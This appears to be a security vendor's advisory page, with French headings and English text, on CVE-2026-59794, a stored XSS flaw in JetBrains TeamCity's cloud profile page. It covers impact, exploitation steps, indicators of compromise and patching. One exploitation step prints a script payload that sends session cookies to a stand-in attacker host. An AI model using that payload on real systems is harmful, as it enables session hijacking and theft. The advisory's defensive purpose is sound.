CVE-2026-59794
JetBrains TeamCity Analyse et atténuation des vulnérabilités

Aperçu

CVE-2026-59794 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2026.1.2. The flaw exists on the cloud profile page, where agent-reported data is not properly sanitized before being rendered in the browser. It was published on July 10, 2026, by JetBrains. The CVSS v3.1 base score is 5.4 (Medium) per NVD, though the GitHub Advisory Database and ENISA rate it as 7.3 (High) (GitHub Advisory, JetBrains).

Détails techniques

The root cause is improper neutralization of user-controllable input before it is placed in web page output (CWE-79). A low-privileged, authenticated attacker can inject malicious JavaScript payloads into agent-reported data fields; these payloads are then persistently stored and rendered unsanitized on the TeamCity cloud profile page when viewed by other users. Exploitation requires network access, low privileges, and user interaction (a victim must visit the affected page), but no special configuration is needed beyond having a build agent capable of reporting data to the server (GitHub Advisory, JetBrains).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other TeamCity users who view the cloud profile page, potentially stealing session tokens, hijacking authenticated sessions, manipulating page content, or performing unauthorized actions on behalf of victims. The confidentiality and integrity of affected user sessions are at risk, though availability is not directly impacted. In CI/CD environments, session hijacking could enable lateral movement into build pipelines, source code repositories, or deployment infrastructure (GitHub Advisory).

Étapes d’exploitation

  1. Reconnaissance: Identify a JetBrains TeamCity instance running a version prior to 2026.1.2 with cloud profiles configured and at least one connected build agent.
  2. Obtain low-privileged access: Authenticate to TeamCity with any account that has permission to interact with or register a build agent.
  3. Inject malicious payload: Manipulate agent-reported data (e.g., agent parameters, cloud instance metadata fields) to include a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Wait for victim interaction: When a TeamCity administrator or other user navigates to the cloud profile page, the stored payload executes in their browser context.
  5. Harvest session tokens or perform actions: The attacker receives stolen session cookies or CSRF tokens, enabling session hijacking or further unauthorized actions within TeamCity (GitHub Advisory).

Indicateurs de compromis

  • Network: Unexpected outbound HTTP requests from TeamCity users' browsers to external domains shortly after viewing the cloud profile page; unusual GET/POST requests to attacker-controlled infrastructure containing encoded cookie or token data.
  • Logs: TeamCity server logs showing agent-reported data fields containing HTML tags or JavaScript keywords (<script>, onerror, javascript:, etc.); browser console errors related to Content Security Policy violations on the cloud profile page.
  • File System / Application: Stored agent parameter values in the TeamCity database containing script tags or encoded payloads when inspected directly.
  • Process/Session: Unexpected administrative actions (e.g., new user creation, permission changes, pipeline modifications) performed under legitimate user accounts shortly after those users visited the cloud profile page.

Atténuation et solutions de contournement

JetBrains has released a fix in TeamCity version 2026.1.2; upgrading to this version or later is the primary recommended remediation (JetBrains). As interim mitigations, administrators should implement strict Content Security Policy (CSP) headers to limit the impact of any XSS execution, and restrict which accounts or agents have the ability to report or modify agent data. Access to the cloud profile page should be limited to trusted administrators only until the patch is applied.

Réactions de la communauté

Several cybersecurity news outlets covered this vulnerability as part of a broader JetBrains patch release addressing multiple products including IntelliJ IDEA, TeamCity, and YouTrack (GBHackers, CyberSecurityNews, SecurityOnline). Coverage generally framed the issue as moderate severity within a batch of fixes, with no notable independent researcher commentary or significant social media discussion specific to this CVE.

Ressources additionnelles


SourceCe rapport a été généré à l’aide de l’IA

Apparenté JetBrains TeamCity Vulnérabilités:

Identifiant CVE

Sévérité

Score

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

CVE-2026-63077CRITICAL9.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NonOuiJul 27, 2026
CVE-2026-59793HIGH8.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NonOuiJul 10, 2026
CVE-2026-59796HIGH8.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NonOuiJul 10, 2026
CVE-2026-59795MEDIUM6.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NonOuiJul 10, 2026
CVE-2026-59794MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NonOuiJul 10, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité dans le cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.

Demander une évaluation

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités